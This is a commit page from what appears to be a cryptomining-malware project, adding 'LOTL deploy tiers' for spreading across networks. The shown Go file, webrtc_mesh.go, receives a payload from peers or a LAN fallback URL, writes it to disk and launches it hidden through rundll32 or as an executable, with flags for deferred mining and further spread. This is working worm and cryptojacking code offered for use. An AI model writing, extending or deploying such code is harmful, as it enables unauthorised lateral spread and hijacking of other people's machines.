Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
153
agent/deploy/webrtc_mesh.go
Normal file
153
agent/deploy/webrtc_mesh.go
Normal file
@@ -0,0 +1,153 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// WebRTCMeshPolicy is server-pulled LAN seed policy for WebRTC mesh spread.
|
||||
type WebRTCMeshPolicy struct {
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
SignalingRelay string `json:"signaling_relay,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
||||
RotationHours int `json:"rotation_hours,omitempty"`
|
||||
IsSeeder bool `json:"is_seeder,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshManifest is the hash-verified payload received over WebRTC data channel or LAN fallback.
|
||||
type WebRTCMeshManifest struct {
|
||||
Policy WebRTCMeshPolicy `json:"policy"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Dest string `json:"dest"`
|
||||
Launch string `json:"launch"`
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCDataChannel is a minimal testable surface for manifest delivery.
|
||||
type WebRTCDataChannel interface {
|
||||
Receive() ([]byte, error)
|
||||
}
|
||||
|
||||
// webrtcMeshReceiveFn injects manifest bytes (mock channel for tests; real impl uses STUN + WS relay).
|
||||
var webrtcMeshReceiveFn func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error)
|
||||
|
||||
type mockWebRTCChannel struct {
|
||||
payload []byte
|
||||
}
|
||||
|
||||
func (m *mockWebRTCChannel) Receive() ([]byte, error) {
|
||||
if len(m.payload) == 0 {
|
||||
return nil, fmt.Errorf("webrtc channel empty")
|
||||
}
|
||||
return m.payload, nil
|
||||
}
|
||||
|
||||
// NewMockWebRTCChannel returns a test channel with preloaded manifest bytes.
|
||||
func NewMockWebRTCChannel(payload []byte) WebRTCDataChannel {
|
||||
return &mockWebRTCChannel{payload: payload}
|
||||
}
|
||||
|
||||
func webrtcMeshWorkDir(cfg config.RuntimeConfig) string {
|
||||
return filepath.Join(os.TempDir(), ".webrtc-mesh-"+sanitizeName(cfg.WorkerName))
|
||||
}
|
||||
|
||||
func receiveWebRTCMeshPayload(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
||||
if webrtcMeshReceiveFn != nil {
|
||||
return webrtcMeshReceiveFn(cfg, policy)
|
||||
}
|
||||
return receiveWebRTCMeshPayloadPlatform(cfg, policy)
|
||||
}
|
||||
|
||||
// RunWebRTCMeshStaging receives manifest over WebRTC/LAN fallback, verifies SHA256, launches worker.
|
||||
func RunWebRTCMeshStaging(cfg config.RuntimeConfig, manifest WebRTCMeshManifest) (string, error) {
|
||||
if runtime.GOOS != "windows" && runtime.GOOS != "linux" && runtime.GOOS != "darwin" {
|
||||
return "", fmt.Errorf("webrtc_mesh staging unsupported on %s", runtime.GOOS)
|
||||
}
|
||||
payload, err := receiveWebRTCMeshPayload(cfg, manifest.Policy)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
sum := sha256.Sum256(payload)
|
||||
got := hex.EncodeToString(sum[:])
|
||||
expected := strings.ToLower(strings.TrimSpace(manifest.SHA256))
|
||||
if expected != "" && got != expected {
|
||||
return "", fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
|
||||
}
|
||||
|
||||
dest, err := ResolveStagingPath(manifest.Dest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
workDir := webrtcMeshWorkDir(cfg)
|
||||
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer func() { _ = os.RemoveAll(workDir) }()
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(dest, payload, 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
||||
transport := "webrtc_relay"
|
||||
if strings.TrimSpace(manifest.Policy.LANFallbackURL) != "" {
|
||||
transport = "lan_http_fallback"
|
||||
}
|
||||
switch launch {
|
||||
case "rundll32", "dll":
|
||||
export := strings.TrimSpace(manifest.DLLExport)
|
||||
if export == "" {
|
||||
export = "DllRegisterServer"
|
||||
}
|
||||
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
|
||||
return "", fmt.Errorf("rundll32 launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched rundll32 %s rotation=%dh",
|
||||
transport, manifest.Policy.SeederAgentID, dest, export, manifest.Policy.RotationHours), nil
|
||||
default:
|
||||
args := []string{runFlag}
|
||||
if manifest.DeferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
if manifest.SpreadInstall {
|
||||
args = append(args, spreadFlag)
|
||||
}
|
||||
if err := HiddenStart(dest, args...); err != nil {
|
||||
return "", fmt.Errorf("exe launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched exe %v rotation=%dh",
|
||||
transport, manifest.Policy.SeederAgentID, dest, args, manifest.Policy.RotationHours), nil
|
||||
}
|
||||
}
|
||||
|
||||
// IsWebRTCMeshReady reports whether forge flag or subnet seeder election allows mesh spread.
|
||||
func IsWebRTCMeshReady(cfg config.RuntimeConfig) bool {
|
||||
if cfg.WebRTCMeshSpread {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// DefaultWebRTCRotationHours is the server policy default for seeder rotation.
|
||||
const DefaultWebRTCRotationHours = 24
|
||||
|
||||
// WebRTCMeshSeederTTL returns duration until next seeder rotation window.
|
||||
func WebRTCMeshSeederTTL(hours int) time.Duration {
|
||||
if hours <= 0 {
|
||||
hours = DefaultWebRTCRotationHours
|
||||
}
|
||||
return time.Duration(hours) * time.Hour
|
||||
}
|
||||
Reference in New Issue
Block a user